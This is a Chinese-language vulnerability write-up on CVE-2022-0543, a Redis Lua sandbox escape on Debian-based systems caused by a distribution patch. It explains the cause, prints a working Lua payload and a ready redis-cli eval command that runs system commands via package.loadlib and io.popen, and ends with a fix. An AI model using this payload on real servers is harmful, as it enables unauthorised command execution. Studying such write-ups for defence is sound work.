CVE-2022-0543 | redis的远程代码执行漏洞
简介
CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码
原理分析
redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞
Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :
debian/lua_libs_debian.c:
echo "// Automatically generated; do not edit." >$@
echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
echo " serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
done
echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,。
这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns”
Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令
借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。
需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同
我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
Payload: (执行命令id可以改变)
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
一、环境启动
二、直接通过redis-cli -h 127.0.0.1 -p 6379 进入redis里面进行测试
可见执行了tac /etc/passwd命令
三、漏洞修复建议
Lua 初始化的末尾添加package=nil 。